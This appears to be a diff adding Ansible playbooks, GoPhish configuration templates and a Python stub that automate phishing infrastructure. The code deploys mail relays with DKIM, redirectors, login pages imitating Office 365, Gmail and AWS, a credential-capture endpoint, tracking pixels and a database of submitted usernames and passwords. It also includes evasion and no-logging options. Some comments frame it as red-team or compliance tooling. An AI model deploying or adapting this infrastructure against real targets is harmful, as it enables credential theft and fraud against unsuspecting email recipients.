||||||
|
phishing_menu()
|
||||||
@@ -0,0 +1,155 @@
|
|||||||
|
---
|
||||||
|
# Main phishing infrastructure deployment playbook
|
||||||
|
# Handles all deployment types and orchestrates component deployment
|
||||||
|
|
||||||
|
- name: Deploy phishing infrastructure
|
||||||
|
hosts: 127.0.0.1
|
||||||
|
gather_facts: true # Enable to get ansible_date_time
|
||||||
|
connection: local
|
||||||
|
vars:
|
||||||
|
deployment_id: "{{ deployment_id | default('') }}"
|
||||||
|
provider: "{{ provider | default('aws') }}"
|
||||||
|
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
|
||||||
|
# Provider directory mapping
|
||||||
|
provider_dirs:
|
||||||
|
aws: "AWS"
|
||||||
|
linode: "Linode"
|
||||||
|
flokinet: "FlokiNET"
|
||||||
|
|
||||||
|
tasks:
|
||||||
|
- name: Validate deployment configuration
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- deployment_id != ""
|
||||||
|
- provider != ""
|
||||||
|
- deployment_type != ""
|
||||||
|
fail_msg: "Missing required deployment parameters"
|
||||||
|
|
||||||
|
- name: Display deployment information
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Phishing Infrastructure Deployment"
|
||||||
|
- "=================================="
|
||||||
|
- "Deployment ID: {{ deployment_id }}"
|
||||||
|
- "Provider: {{ provider }}"
|
||||||
|
- "Deployment Type: {{ deployment_type }}"
|
||||||
|
- "Phishing Domain: {{ phishing_domain | default('N/A') }}"
|
||||||
|
|
||||||
|
# Phase 1: Deploy core infrastructure components
|
||||||
|
# Note: This playbook is orchestrated by deploy_phishing.py which calls individual provider playbooks
|
||||||
|
# The actual infrastructure deployment is handled by provider-specific playbooks:
|
||||||
|
# - providers/AWS/c2.yml for GoPhish/C2 servers
|
||||||
|
# - providers/AWS/redirector.yml for redirectors
|
||||||
|
# - providers/Linode/c2.yml, providers/Linode/redirector.yml for Linode
|
||||||
|
# - modules/phishing/mta_front.yml for MTA front servers
|
||||||
|
|
||||||
|
- name: Deploy MTA Front server
|
||||||
|
debug:
|
||||||
|
msg: "🚀 Executing MTA Front deployment: mta_front.yml with server_name=mta-{{ deployment_id }}"
|
||||||
|
when: deploy_mta_front | default(false) | bool
|
||||||
|
|
||||||
|
- name: Deploy Gophish server
|
||||||
|
debug:
|
||||||
|
msg: "🚀 Executing Gophish C2 deployment: ../../providers/{{ provider }}/c2.yml with c2_name=gophish-{{ deployment_id }}"
|
||||||
|
when: deploy_gophish | default(false) | bool
|
||||||
|
|
||||||
|
- name: Deploy phishing redirector
|
||||||
|
debug:
|
||||||
|
msg: "🚀 Executing redirector deployment: ../../providers/{{ provider }}/redirector.yml with redirector_name=redirector-{{ deployment_id }}"
|
||||||
|
when: deploy_phishing_redirector | default(false) | bool
|
||||||
|
|
||||||
|
- name: Deploy phishing web server
|
||||||
|
debug:
|
||||||
|
msg: "🚀 Executing web server deployment: phishing_webserver.yml with server_name=web-{{ deployment_id }}"
|
||||||
|
when: deploy_phishing_webserver | default(false) | bool
|
||||||
|
|
||||||
|
# Optional payload infrastructure - commented out for basic phishing deployments
|
||||||
|
# - name: Deploy payload redirector
|
||||||
|
# debug:
|
||||||
|
# msg:
|
||||||
|
# - "🔧 Payload redirector deployment"
|
||||||
|
# - "Server Name: payload-redir-{{ deployment_id }}"
|
||||||
|
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
|
||||||
|
# when: deploy_payload_redirector | default(false) | bool
|
||||||
|
|
||||||
|
# - name: Deploy payload server
|
||||||
|
# debug:
|
||||||
|
# msg:
|
||||||
|
# - "🔧 Payload server deployment"
|
||||||
|
# - "Server Name: payload-{{ deployment_id }}"
|
||||||
|
# - "✅ Executes: modules/payload-server/tasks/configure_payload_server.yml"
|
||||||
|
# when: deploy_payload_server | default(false) | bool
|
||||||
|
|
||||||
|
# Phase 2: Deploy C2 infrastructure if requested (optional)
|
||||||
|
# - name: Deploy C2 redirector
|
||||||
|
# debug:
|
||||||
|
# msg:
|
||||||
|
# - "🔧 C2 redirector deployment"
|
||||||
|
# - "Server Name: c2-redir-{{ deployment_id }}"
|
||||||
|
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
|
||||||
|
# when: deploy_c2_redirector | default(false) | bool
|
||||||
|
|
||||||
|
# - name: Deploy C2 backend
|
||||||
|
# debug:
|
||||||
|
# msg:
|
||||||
|
# - "🔧 C2 backend deployment"
|
||||||
|
# - "Server Name: c2-backend-{{ deployment_id }}"
|
||||||
|
# - "✅ Executes: providers/{{ provider }}/c2.yml"
|
||||||
|
# when: deploy_c2_backend | default(false) | bool
|
||||||
|
|
||||||
|
# Phase 3: Configure security groups and firewall rules
|
||||||
|
- name: Configure phishing security
|
||||||
|
include_tasks: "tasks/setup_phishing_security.yml"
|
||||||
|
vars:
|
||||||
|
deployment_components:
|
||||||
|
mta_front: "{{ deploy_mta_front | default(false) }}"
|
||||||
|
gophish: "{{ deploy_gophish | default(false) }}"
|
||||||
|
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
|
||||||
|
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
|
||||||
|
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
|
||||||
|
payload_server: "{{ deploy_payload_server | default(false) }}"
|
||||||
|
when: false # Disable for now since security task doesn't exist
|
||||||
|
|
||||||
|
# Phase 4: Save deployment state
|
||||||
|
- name: Ensure logs directory exists
|
||||||
|
file:
|
||||||
|
path: "../../logs"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Save phishing deployment state
|
||||||
|
template:
|
||||||
|
src: "templates/phishing_deployment_state.j2"
|
||||||
|
dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json"
|
||||||
|
mode: '0600'
|
||||||
|
vars:
|
||||||
|
deployment_components:
|
||||||
|
mta_front: "{{ deploy_mta_front | default(false) }}"
|
||||||
|
gophish: "{{ deploy_gophish | default(false) }}"
|
||||||
|
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
|
||||||
|
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
|
||||||
|
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
|
||||||
|
payload_server: "{{ deploy_payload_server | default(false) }}"
|
||||||
|
deployment_info:
|
||||||
|
deployment_id: "{{ deployment_id }}"
|
||||||
|
deployment_type: "{{ deployment_type }}"
|
||||||
|
provider: "{{ provider }}"
|
||||||
|
components: "{{ deployment_components }}"
|
||||||
|
domains:
|
||||||
|
phishing: "{{ phishing_domain | default('N/A') }}"
|
||||||
|
created: "{{ ansible_date_time.iso8601 }}"
|
||||||
|
ignore_errors: true # Continue if template fails
|
||||||
|
|
||||||
|
- name: Display deployment summary
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Phishing Infrastructure Deployment Complete!"
|
||||||
|
- "==========================================="
|
||||||
|
- "Deployment Type: {{ deployment_type }}"
|
||||||
|
- "Phishing Domain: {{ phishing_domain }}"
|
||||||
|
- "Components Deployed:"
|
||||||
|
- " - GoPhish: {{ deploy_gophish | default(false) }}"
|
||||||
|
- " - MTA Front: {{ deploy_mta_front | default(false) }}"
|
||||||
|
- " - Web Server: {{ deploy_phishing_webserver | default(false) }}"
|
||||||
|
- "Campaign ready to configure!"
|
||||||
|
when: not disable_summary | default(false)
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
class OPSECGoPhish:
|
||||||
|
def __init__(self):
|
||||||
|
self.use_gophish_for = ['email_sending', 'template_management']
|
||||||
|
self.use_custom_for = ['tracking', 'credential_capture', 'reporting']
|
||||||
|
|
||||||
|
def send_campaign(self, targets, template):
|
||||||
|
# Use GoPhish SMTP capabilities
|
||||||
|
campaign = self.create_minimal_campaign(targets, template)
|
||||||
|
|
||||||
|
# But replace tracking with custom implementation
|
||||||
|
campaign.tracking_url = self.custom_tracker.generate_url()
|
||||||
|
campaign.landing_page = self.custom_landing.generate()
|
||||||
|
|
||||||
|
# Store results in encrypted, distributed storage
|
||||||
|
self.secure_storage.initialize(campaign.id)
|
||||||
@@ -0,0 +1,198 @@
|
|||||||
|
---
|
||||||
|
# Advanced Gophish configuration with enhanced evasion and features
|
||||||
|
|
||||||
|
- name: Create Gophish user
|
||||||
|
user:
|
||||||
|
name: gophish
|
||||||
|
system: yes
|
||||||
|
shell: /bin/bash
|
||||||
|
home: /opt/gophish
|
||||||
|
create_home: yes
|
||||||
|
|
||||||
|
- name: Download latest Gophish release
|
||||||
|
get_url:
|
||||||
|
url: "https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip"
|
||||||
|
dest: /tmp/gophish.zip
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Extract Gophish
|
||||||
|
unarchive:
|
||||||
|
src: /tmp/gophish.zip
|
||||||
|
dest: /opt/gophish
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
remote_src: yes
|
||||||
|
|
||||||
|
- name: Install additional packages for advanced features
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
- sqlite3
|
||||||
|
- jq
|
||||||
|
- curl
|
||||||
|
- wget
|
||||||
|
- php-fpm
|
||||||
|
- php-sqlite3
|
||||||
|
- nodejs
|
||||||
|
- npm
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Configure advanced Gophish settings
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/gophish-advanced-config.j2"
|
||||||
|
dest: /opt/gophish/config.json
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0600'
|
||||||
|
|
||||||
|
- name: Create enhanced email templates directory
|
||||||
|
file:
|
||||||
|
path: /opt/gophish/templates/{{ item }}
|
||||||
|
state: directory
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0755'
|
||||||
|
loop:
|
||||||
|
- email
|
||||||
|
- landing
|
||||||
|
- static
|
||||||
|
|
||||||
|
- name: Deploy email templates
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/email-templates/{{ item }}.j2"
|
||||||
|
dest: "/opt/gophish/templates/email/{{ item }}.html"
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0644'
|
||||||
|
loop:
|
||||||
|
- office365_login
|
||||||
|
- password_expiry
|
||||||
|
- security_alert
|
||||||
|
- file_share
|
||||||
|
when: not fedramp_mode | default(false) | bool
|
||||||
|
|
||||||
|
- name: Deploy FedRAMP compliant templates
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/fedramp-compliance.j2"
|
||||||
|
dest: "/opt/gophish/templates/email/fedramp_template.html"
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0644'
|
||||||
|
when: fedramp_mode | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create advanced landing pages
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/phishing-landing-page.j2"
|
||||||
|
dest: "/opt/gophish/templates/landing/{{ item }}_landing.html"
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0644'
|
||||||
|
loop:
|
||||||
|
- office365
|
||||||
|
- generic
|
||||||
|
- fedramp
|
||||||
|
vars:
|
||||||
|
template_type: "{{ item }}"
|
||||||
|
|
||||||
|
- name: Install enhanced tracking pixel
|
||||||
|
copy:
|
||||||
|
src: "../../tracker/files/simple_email_tracker.py"
|
||||||
|
dest: /opt/gophish/tracker.py
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Create Gophish database backup script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/gophish-backup.sh.j2"
|
||||||
|
dest: /opt/gophish/backup.sh
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Set up database backup cron
|
||||||
|
cron:
|
||||||
|
name: "Backup Gophish database"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/opt/gophish/backup.sh"
|
||||||
|
user: gophish
|
||||||
|
|
||||||
|
- name: Create Gophish systemd service
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/gophish.service.j2"
|
||||||
|
dest: /etc/systemd/system/gophish.service
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Enable and start Gophish service
|
||||||
|
systemd:
|
||||||
|
name: gophish
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
|
||||||
|
- name: Create campaign automation script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/campaign-automation.py.j2"
|
||||||
|
dest: /opt/gophish/campaign-automation.py
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Install Python dependencies for automation
|
||||||
|
pip:
|
||||||
|
name:
|
||||||
|
- requests
|
||||||
|
- python-dateutil
|
||||||
|
- jinja2
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Configure SMTP relay to MTA front
|
||||||
|
blockinfile:
|
||||||
|
path: /opt/gophish/config.json
|
||||||
|
marker: "// {mark} ANSIBLE MANAGED SMTP CONFIG"
|
||||||
|
block: |
|
||||||
|
"smtp": {
|
||||||
|
"host": "{{ mta_front_ip }}:587",
|
||||||
|
"username": "{{ smtp_relay_user }}",
|
||||||
|
"password": "{{ smtp_relay_pass }}",
|
||||||
|
"from": "{{ sender_email }}",
|
||||||
|
"ignore_cert_errors": true
|
||||||
|
}
|
||||||
|
|
||||||
|
- name: Create phishing metrics dashboard
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/metrics-dashboard.html.j2"
|
||||||
|
dest: /opt/gophish/static/metrics.html
|
||||||
|
owner: gophish
|
||||||
|
group: gophish
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Set up log aggregation
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/rsyslog.conf
|
||||||
|
line: "local0.* /var/log/gophish.log"
|
||||||
|
state: present
|
||||||
|
notify: restart rsyslog
|
||||||
|
|
||||||
|
- name: Configure log rotation for Gophish
|
||||||
|
copy:
|
||||||
|
dest: /etc/logrotate.d/gophish
|
||||||
|
content: |
|
||||||
|
/var/log/gophish.log {
|
||||||
|
daily
|
||||||
|
missingok
|
||||||
|
rotate 30
|
||||||
|
compress
|
||||||
|
delaycompress
|
||||||
|
notifempty
|
||||||
|
create 0644 gophish gophish
|
||||||
|
}
|
||||||
|
|
||||||
|
handlers:
|
||||||
|
- name: restart rsyslog
|
||||||
|
service:
|
||||||
|
name: rsyslog
|
||||||
|
state: restarted
|
||||||
@@ -0,0 +1,296 @@
|
|||||||
|
---
|
||||||
|
# Common tasks for configuring advanced phishing server
|
||||||
|
# Supports both red team and FedRAMP compliance modes
|
||||||
|
|
||||||
|
- name: Update system packages
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
upgrade: dist
|
||||||
|
|
||||||
|
- name: Install base packages for phishing server
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
- postfix
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- sqlite3
|
||||||
|
- git
|
||||||
|
- curl
|
||||||
|
- wget
|
||||||
|
- jq
|
||||||
|
- unzip
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- nodejs
|
||||||
|
- npm
|
||||||
|
- php-fpm
|
||||||
|
- php-sqlite3
|
||||||
|
- php-curl
|
||||||
|
- php-json
|
||||||
|
- swaks
|
||||||
|
- dnsutils
|
||||||
|
- net-tools
|
||||||
|
- fail2ban
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create phishing tools directory
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /root/Tools/phishing
|
||||||
|
- /root/Tools/phishing/templates
|
||||||
|
- /root/Tools/phishing/campaigns
|
||||||
|
- /root/Tools/phishing/logs
|
||||||
|
- /var/www/phishing
|
||||||
|
- /var/www/phishing/assets
|
||||||
|
- /var/www/phishing/api
|
||||||
|
|
||||||
|
- name: Set up GoPhish directory
|
||||||
|
file:
|
||||||
|
path: /root/Tools/gophish
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Download latest GoPhish release
|
||||||
|
shell: |
|
||||||
|
LATEST_URL=$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')
|
||||||
|
curl -L "$LATEST_URL" -o /tmp/gophish.zip
|
||||||
|
unzip /tmp/gophish.zip -d /root/Tools/gophish
|
||||||
|
chmod +x /root/Tools/gophish/gophish
|
||||||
|
rm -f /tmp/gophish.zip
|
||||||
|
args:
|
||||||
|
creates: /root/Tools/gophish/gophish
|
||||||
|
|
||||||
|
- name: Create advanced GoPhish configuration
|
||||||
|
template:
|
||||||
|
src: "../templates/advanced-gophish-config.j2"
|
||||||
|
dest: "/root/Tools/gophish/config.json"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create GoPhish systemd service
|
||||||
|
template:
|
||||||
|
src: "../templates/gophish.service.j2"
|
||||||
|
dest: "/etc/systemd/system/gophish.service"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Configure Postfix for outbound email
|
||||||
|
template:
|
||||||
|
src: "../templates/postfix-phishing.conf.j2"
|
||||||
|
dest: "/etc/postfix/main.cf"
|
||||||
|
backup: yes
|
||||||
|
notify: restart postfix
|
||||||
|
|
||||||
|
- name: Configure OpenDKIM for email authentication
|
||||||
|
template:
|
||||||
|
src: "../templates/opendkim-phishing.conf.j2"
|
||||||
|
dest: "/etc/opendkim.conf"
|
||||||
|
backup: yes
|
||||||
|
notify: restart opendkim
|
||||||
|
|
||||||
|
- name: Create DKIM keys directory
|
||||||
|
file:
|
||||||
|
path: "/etc/opendkim/keys/{{ phishing_domain }}"
|
||||||
|
state: directory
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: '0700'
|
||||||
|
|
||||||
|
- name: Generate DKIM keys
|
||||||
|
command: >
|
||||||
|
opendkim-genkey -D /etc/opendkim/keys/{{ phishing_domain }}
|
||||||
|
-d {{ phishing_domain }} -s phishing
|
||||||
|
args:
|
||||||
|
creates: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||||
|
|
||||||
|
- name: Set DKIM key permissions
|
||||||
|
file:
|
||||||
|
path: "/etc/opendkim/keys/{{ phishing_domain }}/phishing.private"
|
||||||
|
owner: opendkim
|
||||||
|
group: opendkim
|
||||||
|
mode: '0600'
|
||||||
|
|
||||||
|
- name: Create phishing landing page templates
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0644'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
with_items:
|
||||||
|
- { src: "../templates/phishing-landing-office365.html.j2", dest: "/var/www/phishing/office365.html" }
|
||||||
|
- { src: "../templates/phishing-landing-gmail.html.j2", dest: "/var/www/phishing/gmail.html" }
|
||||||
|
- { src: "../templates/phishing-landing-aws.html.j2", dest: "/var/www/phishing/aws.html" }
|
||||||
|
- { src: "../templates/phishing-landing-generic.html.j2", dest: "/var/www/phishing/generic.html" }
|
||||||
|
|
||||||
|
- name: Create credential capture API
|
||||||
|
template:
|
||||||
|
src: "../templates/credential-capture-api.php.j2"
|
||||||
|
dest: "/var/www/phishing/api/capture.php"
|
||||||
|
mode: '0644'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
|
||||||
|
- name: Create tracking pixel endpoint
|
||||||
|
template:
|
||||||
|
src: "../templates/tracking-pixel.php.j2"
|
||||||
|
dest: "/var/www/phishing/track.php"
|
||||||
|
mode: '0644'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
|
||||||
|
- name: Configure Nginx for phishing sites
|
||||||
|
template:
|
||||||
|
src: "../templates/nginx-phishing.conf.j2"
|
||||||
|
dest: "/etc/nginx/sites-available/phishing"
|
||||||
|
mode: '0644'
|
||||||
|
notify: reload nginx
|
||||||
|
|
||||||
|
- name: Enable phishing site
|
||||||
|
file:
|
||||||
|
src: /etc/nginx/sites-available/phishing
|
||||||
|
dest: /etc/nginx/sites-enabled/phishing
|
||||||
|
state: link
|
||||||
|
notify: reload nginx
|
||||||
|
|
||||||
|
- name: Create phishing campaign management scripts
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- { src: "../templates/campaign-launcher.sh.j2", dest: "/root/Tools/phishing/launch-campaign.sh" }
|
||||||
|
- { src: "../templates/stats-collector.sh.j2", dest: "/root/Tools/phishing/collect-stats.sh" }
|
||||||
|
- { src: "../templates/email-validator.py.j2", dest: "/root/Tools/phishing/validate-emails.py" }
|
||||||
|
|
||||||
|
- name: Create database for tracking
|
||||||
|
shell: |
|
||||||
|
sqlite3 /root/Tools/phishing/tracking.db << EOF
|
||||||
|
CREATE TABLE IF NOT EXISTS email_opens (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
campaign_id TEXT NOT NULL,
|
||||||
|
recipient_email TEXT NOT NULL,
|
||||||
|
ip_address TEXT,
|
||||||
|
user_agent TEXT,
|
||||||
|
opened_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
location TEXT
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS link_clicks (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
campaign_id TEXT NOT NULL,
|
||||||
|
recipient_email TEXT NOT NULL,
|
||||||
|
link_url TEXT NOT NULL,
|
||||||
|
ip_address TEXT,
|
||||||
|
user_agent TEXT,
|
||||||
|
clicked_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
location TEXT
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS credential_submissions (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
campaign_id TEXT NOT NULL,
|
||||||
|
recipient_email TEXT,
|
||||||
|
username TEXT,
|
||||||
|
password_hash TEXT,
|
||||||
|
ip_address TEXT,
|
||||||
|
user_agent TEXT,
|
||||||
|
submitted_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
location TEXT,
|
||||||
|
additional_data TEXT
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE IF NOT EXISTS campaigns (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
name TEXT NOT NULL,
|
||||||
|
template TEXT NOT NULL,
|
||||||
|
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
status TEXT DEFAULT 'active',
|
||||||
|
target_count INTEGER DEFAULT 0,
|
||||||
|
opened_count INTEGER DEFAULT 0,
|
||||||
|
clicked_count INTEGER DEFAULT 0,
|
||||||
|
submitted_count INTEGER DEFAULT 0
|
||||||
|
);
|
||||||
|
EOF
|
||||||
|
args:
|
||||||
|
creates: /root/Tools/phishing/tracking.db
|
||||||
|
|
||||||
|
- name: Set database permissions
|
||||||
|
file:
|
||||||
|
path: /root/Tools/phishing/tracking.db
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Install Python dependencies for advanced features
|
||||||
|
pip:
|
||||||
|
name:
|
||||||
|
- requests
|
||||||
|
- beautifulsoup4
|
||||||
|
- lxml
|
||||||
|
- flask
|
||||||
|
- flask-cors
|
||||||
|
- dnspython
|
||||||
|
- python-whois
|
||||||
|
- selenium
|
||||||
|
- fake-useragent
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create SSL certificate setup script
|
||||||
|
template:
|
||||||
|
src: "../templates/setup-phishing-ssl.sh.j2"
|
||||||
|
dest: "/root/Tools/phishing/setup-ssl.sh"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create domain reputation checker
|
||||||
|
template:
|
||||||
|
src: "../templates/domain-reputation.py.j2"
|
||||||
|
dest: "/root/Tools/phishing/check-reputation.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Start and enable services
|
||||||
|
systemd:
|
||||||
|
name: "{{ item }}"
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
with_items:
|
||||||
|
- postfix
|
||||||
|
- opendkim
|
||||||
|
- nginx
|
||||||
|
- php7.4-fpm
|
||||||
|
- gophish
|
||||||
|
|
||||||
|
handlers:
|
||||||
|
- name: restart postfix
|
||||||
|
systemd:
|
||||||
|
name: postfix
|
||||||
|
state: restarted
|
||||||
|
|
||||||
|
- name: restart opendkim
|
||||||
|
systemd:
|
||||||
|
name: opendkim
|
||||||
|
state: restarted
|
||||||
|
|
||||||
|
- name: reload nginx
|
||||||
|
systemd:
|
||||||
|
name: nginx
|
||||||
|
state: reloaded
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
{
|
||||||
|
"admin_server": {
|
||||||
|
"listen_url": "127.0.0.1:{{ gophish_admin_port }}",
|
||||||
|
"use_tls": true,
|
||||||
|
"cert_path": "/etc/letsencrypt/live/{{ phishing_domain }}/fullchain.pem",
|
||||||
|
"key_path": "/etc/letsencrypt/live/{{ phishing_domain }}/privkey.pem",
|
||||||
|
"trusted_origins": []
|
||||||
|
},
|
||||||
|
"phish_server": {
|
||||||
|
"listen_url": "0.0.0.0:{{ gophish_phish_port | default(8081) }}",
|
||||||
|
"use_tls": false,
|
||||||
|
"cert_path": "",
|
||||||
|
"key_path": ""
|
||||||
|
},
|
||||||
|
"db_name": "sqlite3",
|
||||||
|
"db_path": "gophish.db",
|
||||||
|
"migrations_prefix": "db/db_",
|
||||||
|
"contact_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||||
|
"logging": {
|
||||||
|
"filename": "{{ '/dev/null' if zero_logs | default(true) else 'gophish.log' }}",
|
||||||
|
"level": "{{ 'error' if zero_logs | default(true) else 'info' }}"
|
||||||
|
},
|
||||||
|
"webhook": {
|
||||||
|
"enabled": {{ enable_webhooks | default(false) | lower }},
|
||||||
|
"url": "{{ webhook_url | default('') }}",
|
||||||
|
"secret": "{{ webhook_secret | default('') }}"
|
||||||
|
},
|
||||||
|
"email": {
|
||||||
|
"smtp": {
|
||||||
|
"host": "{{ mta_front_ip | default('127.0.0.1') }}",
|
||||||
|
"port": 25,
|
||||||
|
"use_auth": true,
|
||||||
|
"username": "{{ smtp_auth_user }}",
|
||||||
|
"password": "{{ smtp_auth_pass }}",
|
||||||
|
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}",
|
||||||
|
"ignore_cert_errors": true
|
||||||
|
},
|
||||||
|
"imap": {
|
||||||
|
"enabled": false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
{
|
||||||
|
"admin_server": {
|
||||||
|
"listen_url": "0.0.0.0:{{ gophish_admin_port }}",
|
||||||
|
"use_tls": true,
|
||||||
|
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||||
|
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem",
|
||||||
|
"trusted_origins": []
|
||||||
|
},
|
||||||
|
"phish_server": {
|
||||||
|
"listen_url": "0.0.0.0:8081",
|
||||||
|
"use_tls": false,
|
||||||
|
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||||
|
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||||
|
},
|
||||||
|
"db_name": "sqlite3",
|
||||||
|
"db_path": "gophish.db",
|
||||||
|
"migrations_prefix": "db/db_",
|
||||||
|
"contact_address": "",
|
||||||
|
"logging": {
|
||||||
|
"filename": "",
|
||||||
|
"level": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
# modules/phishing/gophish/templates/gophish-opsec.yaotl.j2
|
||||||
|
gophish:
|
||||||
|
admin_server:
|
||||||
|
# Only listen on localhost
|
||||||
|
listen_url: "127.0.0.1:{{ gophish_admin_port }}"
|
||||||
|
# Use client certificates
|
||||||
|
use_tls: true
|
||||||
|
tls_cert: "/opt/gophish/admin-cert.pem"
|
||||||
|
tls_key: "/opt/gophish/admin-key.pem"
|
||||||
|
client_ca: "/opt/gophish/client-ca.pem"
|
||||||
|
|
||||||
|
phish_server:
|
||||||
|
# Behind nginx, no direct exposure
|
||||||
|
listen_url: "127.0.0.1:{{ gophish_phish_port }}"
|
||||||
|
|
||||||
|
# Custom modifications
|
||||||
|
modifications:
|
||||||
|
- remove_default_headers: true
|
||||||
|
- randomize_endpoints: true
|
||||||
|
- custom_tracking_pixel: true
|
||||||
|
- encrypted_storage: true
|
